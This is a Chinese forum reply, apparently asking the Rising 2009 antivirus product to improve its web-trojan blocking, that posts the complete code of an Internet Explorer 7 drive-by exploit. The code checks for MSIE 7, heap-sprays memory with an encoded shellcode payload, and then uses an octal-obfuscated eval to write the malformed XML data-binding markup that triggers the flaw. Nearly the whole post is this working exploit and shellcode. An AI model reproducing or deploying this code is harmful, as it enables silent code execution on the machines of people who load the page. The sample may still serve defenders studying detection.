回复：希望能够加强一下瑞星2009的网页防挂马模块!!!
IE7漏洞的代码
<script language="javascript">
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)location.replace("about:blank");
function sleep(milliseconds)
{
var start=new Date().getTime();
for(var i=0;i<1e7;i++)
{if((new Date().getTime()-start)>milliseconds)
{break}
}
}
function spray(sc)
{
var infect=unescape(sc.replace(/YT/g,"\x25\x75"));
var heapBlockSize=0x100000;
var payLoadSize=infect.length*2;
var szlong=heapBlockSize-(payLoadSize+0x038);
var retVal=unescape("%u0a0a%u0a0a");
retVal=getSampleValue(retVal,szlong);
aaablk=(0x0a0a0a0a-0x100000)/heapBlockSize;
zzchuck=new Array();
for(i=0;i<aaablk;i++){zzchuck
=retVal+infect}
}
function getSampleValue(retVal,szlong)
{
while(retVal.length*2<szlong)
{retVal+=retVal}
retVal=retVal.substring(0,szlong/2);
return retVal
}
var a1="YT";
spray(a1+"9090"+"YT9090YT9090YTE1D9YT34D9YT5824YT5858YT3358YTB3DBYT031CYT31C3YT66C9YTE981YTFA65YT3080YT4021YTFAE2YT17C9YT2122YT4921YT0121YT2121YT214BYTF1DEYT2198YT2131YTAA21YTCAD9YT7F24YT85D2YTF1DEYTD7C9YTDEDEYTC9DEYT221CYT2121YTD9AAYT19C9YT2121YTC921YT206CYT2121YT67C9YT2121YTC921YT22FAYT2121YTD9AAYT03C9YT2121YTC921YT2065YT2121YT11C9YT2121YTC921YT22A8YT2121YTD9AAYT2DC9YT2121YTC921YT2040YT2121YT3BC9YT2121YTCA21YT7279YTFDAAYT4B72YT4961YT3121YT2121YTC976YT2390YT2121YTC4C9YT2121YT7921YT72E2YTFDAAYT4B72YT4901YT3121YT2121YTC976YT23B8YT2121YTECC9YT2121YT7921YT76E2YT1DC9YT2125YTAA21YT12D9YT68E8YTE112YTE291YTD3DDYTAC8FYTDE66YTE27EYT1F7AYT26E7YT1F99YT7EA8YT4720YTE61FYT2466YTC1DEYTC8E2YT25B4YT2121YTA07AYT35CDYT2120YTAA21YT1FF5YT23E6YT4C42YT0145YTE61FYT2563YT420EYT0301YTE3A2YT1229YT71E1YT4971YT2025YT2121YT7273YTC971YT22E0YT2121YTF1DEYTDDAAYTE6AAYTE1A2YT1F29YT39ABYTFAA5YT2255YTCA61YT1FD7YT21E7YT1203YT1FF3YT71A9YTA220YT75CDYTE112YTFA12YTEDAAYTD9A2YT5C75YT1F28YT3DA8YTA220YT25E1YTD3CAYTEDAAYTF8AAYTE2A2YT1231YT1FE1YT62E6YT200DYT2121YT7021YT7172YT7171YT7171YT7671YTC971YT2218YT2121YT38C9YT2121YT4521YT2580YT2121YTAC21YT4181YTDEDEYTC9DEYT2216YT2121YTFA12YT7272YT7272YTF1DEYT19A1YTA1C9YTC819YT2E54YT59A0YTB124YTB1B1YT55B1YT7427YTCDAAYT61ACYTDE24YTC9C1YTDE0FYTDEDEYTC9E2YTDE09YTDEDEYT3099YT2520YTE3A1YT212DYT3AC9YTDEDEYT12DEYT71E1YTC975YT2175YT2121YTC971YT23AAYT2121YTF1DEYTA117YT051DYT5621YTC92BYT2360YT2121YTDE12YTDE76YTC9F1YT20DAYT2121YTDE49YT2121YTDE21YTC9F1YTDFC9YTDEDEYT7672YT1277YT71E1YTC975YT213FYT2121YTC971YT2374YT2121YTF1DEYTA117YT051DYT5621YTC92BYT232AYT2121YTDE12YTDE76YT79F1YT7E7FYTE27AYT23CAYTE279YTD8C9YTDEDEYT77DEYTA276YT29CDYTDDAAYT294BYT1F76YT56DEYTC935YT237CYT2121YTF1DEYTDDAAYT4049YT444CYT4921YT6468YT5367YTD5AAYT2998YT2121YTD221YT5487YT4B0EYT1F21YT55DEYT0105YT05C9YT2123YTDE21YTAAF1YTC9D9YT20EAYT2121YTF1DEYTD91AYT2955YTAA17YT0565YT1F01YT21DEYTDE1FYT0555YTC93DYT20CEYT2121YTF1DEYTE5A2YT7E31YT997FYT2120YT2121YT49E2YT4F4EYT2121YT5449YT4D53YTCA4CYTAC34YT0565YT7125YT03C9YTDEDFYT71DEYT6BC9YT2123YTC821YTDFC3YTDEDEYTC7C9YTDEDEYTA2DEYT29E5YT4BE2YT494DYT554FYT4D45YT34CAYT65ACYT2505YTC971YTDCDAYTDEDEYTC971YT2302YT2121YT9AC8YTDEDFYTC9DEYTDEC7YTDEDEYTE5A2YTE229YT1249YT2113YT4921YT5254YT5344YT34CAYT65ACYT2505YTC971YTDCF0YTDEDEYTC971YT20D8YT2121YTB0C8YTDEDFYTC9DEYTDEC7YTDEDEYTE5A2YTE229YT4249YT5657YT4921YT4952YT4E45YT34CAYT65ACYT2505YTC971YTDC86YTDEDEYTC971YT20EEYT2121YT46C8YTDEDFYTC9DEYTDEC7YTDEDEYTE5A2YTE229YT5749YT5946YTCA21YTAC34YT0565YT7125YTA3C9YTDEDCYT71DEYT8BC9YT2120YTC821YTDF63YTDEDEYTC7C9YTDEDEYTA2DEYT25E5YTC9E2YT208AYT2121YT3A49YT67E7YT7158YTE7C9YT2120YTA221YT29E5YTC9E2YT20B6YT2121YTCD49YT22B6YT712DYT93C9YT2120YTA221YT29E5YTC9E2YT20A2YT2121YT8B49YT2CDDYT715DYTBFC9YT2120YTA221YT29E5YTC9E2YT204EYT2121YTCC49YTCE77YT7117YTABC9YT2120YTA221YT29E5YTC9E2YT207AYT2121YTD149YT25ABYT717EYT57C9YT2120YTA221YT29E5YTC9E2YTDFD6YTDEDEYT5949YTFA49YT713DYT43C9YT2120YTA221YT29E5YTC9E2YT2012YT2121YTCE49YTC1EFYT7141YT6FC9YT2120YTA221YT29E5YTC9E2YT203EYT2121YT9149YT0C68YT71FAYT1BC9YT2120YTA221YT29E5YTC9E2YTDE17YTDEDEYT8A49YTBA7FYT713FYT07C9YT2120YTA221YT29E5YTC9E2YTDF86YTDEDEYT7849YTA0B6YT7123YT33C9YT2120YTA221YT29E5YTC9E2YT21C2YT2121YT5F49YTC3F9YT7152YTDFC9YT2121YTA221YT29E5YTC9E2YT21EEYT2121YTBF49YT9AD8YT7114YTCBC9YT2121YTA221YT29E5YTC9E2YTDFB3YTDEDEYT7649YT9481YT719AYTF7C9YT2121YTA221YT29E5YTC9E2YTDF5FYTDEDEYT3B49YT3F5BYT7123YTE3C9YT2121YTA221YT29E5YTC9E2YTDF4BYTDEDEYTC149YT117AYT71B5YT8FC9YT2121YTA221YT29E5YTC9E2YTDF77YTDEDEYTB649YTC3E8YT7182YTBBC9YT2121YTA221YT29E5YTC9E2YTDF63YTDEDEYT4949YTE405YT7192YTA7C9YT2121YTA221YT29E5YTC9E2YT2176YT2121YT5349YT92DFYT7137YT53C9YT2121YTA221YT29E5YTC9E2YTDF65YTDEDEYT32CAYT444BYTC971YTDAD6YTDEDEYTC971YTDF8AYTDEDEYT96C8YTDEDDYTC9DEYTDEC9YTDEDEYTC9E2YTDC88YTDEDEYT6E49YT6ECEYT7124YT1FC9YT2121YTA221YT29E5YTC9E2YT212EYT2121YTAF49YT2F6FYT71CDYT0BC9YT2121YTA221YT29E5YT12E2YT45E1YT61AAYTA411YT59E1YT1F31YT61AAYT1F2DYT51AAYT8C3DYTAA1FYT2961YTCAE2YT1F2AYT61AAYTA215YT5DE1YTAA1FYT1D61YT41E2YTAA17YT054DYT1705YT64AAYT171DYT75AAYT5924YTF422YTAA1FYT396BYTAA1FYT017BYTFC22YT1AC2YT1F68YT15AAYT22AAYT12D4YT12DEYTDDE1YTA58DYT55E1YTE026YT2CEEYTD922YTD5CAYT1A17YT055DYT5409YT1FFEYT7BAAYT2205YT47FCYTAA1FYT6A2DYTAA1FYT3D7BYTFC22YTAA1FYTAA25YTE422YTA817YT0565YT403DYTC9E2YTDA47YTDEDEYT5549YT5155YT0e1bYT560eYT5656YT100fYT1611YT1318YT1213YT1110YT0f14YT4f42YT4e0eYT0f4aYT5944YT2144YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT2121YT0021");
sleep(3000);
nav=navigator.userAgent.toLowerCase();
if(navigator.appVersion.indexOf('MSIE')!=-1)
{
version=parseFloat(navigator.appVersion.split('MSIE')[1])
}
if(version==7)
{
eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\130\115\114\40\111\104\75\111\76\74\130\76\74\103\76\74\41\133\103\104\101\124\101\133\74\151\155\141\147\145\40\123\122\103\75\150\164\164\160\72\57\57\46\43\61\61\64\73\46\43\62\65\67\60\73\46\43\61\61\64\73\56\142\157\157\153\56\143\157\155\40\163\162\143\75\150\164\164\160\72\57\57\167\167\167\56\147\157\157\147\154\145\56\143\157\155\135\135\76\74\41\133\103\104\101\124\101\133\76\135\135\76\74\57\103\76\74\57\130\76\74\57\170\155\154\76\74\123\120\101\116\40\104\101\124\101\123\122\103\75\43\111\40\104\101\124\101\106\114\104\75\103\40\104\101\124\101\106\117\122\115\101\124\101\123\75\110\124\115\114\76\74\130\115\114\40\111\104\75\111\76\74\57\130\115\114\76\74\123\120\101\116\40\104\101\124\101\123\122\103\75\43\111\40\104\101\124\101\106\114\104\75\103\40\104\101\124\101\106\117\122\115\101\124\101\123\75\110\124\115\114\76\74\57\123\120\101\116\76\47\51\73")
var i=1;while(i<=10)
{
window.status=" ";i++}
}
</script>
